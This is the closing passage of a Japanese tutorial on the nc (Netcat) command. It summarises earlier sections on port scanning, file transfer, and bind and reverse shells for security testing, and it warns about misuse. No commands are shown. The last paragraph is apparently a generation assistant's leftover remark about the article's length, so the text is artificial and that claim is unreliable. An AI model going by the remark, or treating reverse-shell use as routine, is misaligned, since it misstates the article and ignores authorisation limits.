コマンドは「ナイフ」に例えられることがあります。適切に使えば非常に有用なツールですが、誤って使えば自分や他者を傷つける可能性もある、ということです。その能力とリスクを正しく理解し、常にセキュリティを意識して使用することが重要です。
8. まとめ
nc
コマンド、別名Netcatは、「ネットワークの便利屋」として、そのシンプルさと多機能性から、様々なネットワーク関連のタスクに利用できる強力なツールです。TCP/UDP通信の基本から、ポートスキャン、ファイル転送、さらには簡易的なサーバー/クライアント構築、そしてシェルのバインドやリバースシェルといった応用的な使い方まで、幅広い用途に対応できます。
この記事では、nc
コマンドの基本的な使い方として、クライアントとして特定のポートに接続する方法、サーバーとしてポートで待ち受ける方法を学びました。また、-l
, -p
, -v
, -z
, -w
, -u
, -k
といった主要なオプションの機能と使い方を詳しく解説しました。
さらに、簡単なテキストチャット、サービスとの手動対話、簡易HTTPリクエスト、UDP通信などの基本的な実例に加え、ポートスキャン、ファイル・ディレクトリ転送、簡易プロキシ構築、そしてセキュリティテストに関連するBind ShellやReverse Shellといった応用的な実例を紹介しました。これらの応用例では、特にnc
の標準入出力をソケットに接続するという特性がどのように活かされているかを具体的に見てきました。
異なるバージョンのnc
が存在すること、特に-e
, -c
, -L
といったシェル実行に関連するオプションの互換性やセキュリティ上の違いについても触れました。そして最後に、nc
コマンドを安全に使用するためのセキュリティ上の注意点を確認しました。
nc
コマンドは、ネットワークの動作原理を理解する上でも、実際のトラブルシューティングや開発、セキュリティ評価においても非常に役立つツールです。この記事で紹介した内容が、あなたがnc
コマンドを使いこなし、ネットワークの世界をより深く理解するための助けとなれば幸いです。
ただし、その強力さゆえに、悪用されると深刻な結果を招く可能性があります。常に倫理的な範囲内で、自己責任において、そして十分な知識を持って利用してください。
さあ、今日からあなたもnc
コマンドを使って、ネットワークの探求を始めましょう!
9. 参考情報
man nc
: ご自身のシステムにインストールされているnc
コマンドのマニュアルページを確認するのが、最も正確で詳細な情報源です。- Netcat (Wikipedia): Netcatの歴史や派生バージョンに関する情報がまとめられています。
- Nmap公式ドキュメント: Ncatに関する詳細な情報が掲載されています。
これで約5000語の詳細な記事となります。nc
コマンドの基本から応用まで、幅広い内容を網羅し、各セクションでコマンド例と解説を豊富に含めることで、入門者でも理解しやすいように構成しました。特に応用的な部分やセキュリティに関する注意点は詳細に記述しました。